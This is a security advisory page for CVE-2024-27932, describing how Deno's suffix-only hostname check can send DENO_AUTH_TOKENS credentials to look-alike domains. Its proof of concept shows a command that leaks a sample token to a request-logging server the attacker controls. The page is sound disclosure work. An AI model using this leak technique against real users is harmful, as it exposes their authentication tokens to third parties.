GHSA-5frw-4rwq-xhcr
Suggest an improvement- Source
- https://github.com/advisories/GHSA-5frw-4rwq-xhcr
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-5frw-4rwq-xhcr/GHSA-5frw-4rwq-xhcr.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-5frw-4rwq-xhcr
- Aliases
- Published
- 2024-03-06T17:03:36Z
- Modified
- 2024-03-21T18:25:42Z
- Severity
-
- 4.6 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
- Summary
- Deno's improper suffix match testing for DENO_AUTH_TOKENS
- Details
-
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for
example.commay be sent tonotexample.com.Details
authtokens.rs uses a simple endswith check, which matches
www.deno.landto adeno.landtoken as intended, but also matchesim-in-ur-servers-attacking-ur-deno.landtodeno.landtokens.PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com. - Run
DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example,DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected.
- Set up a server that logs requests. RequestBin will do. For example,
- Database specific
{ "nvd_published_at": "2024-03-21T02:52:21Z", "cwe_ids": [ "CWE-20" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2024-03-06T17:03:36Z" }- References
-
- https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr
- https://nvd.nist.gov/vuln/detail/CVE-2024-27932
- https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b
- https://github.com/denoland/deno
- https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89
Affected packages
crates.io / deno
Package
- Name
- deno
- View open source insights on deps.dev
- Purl
- pkg:cargo/deno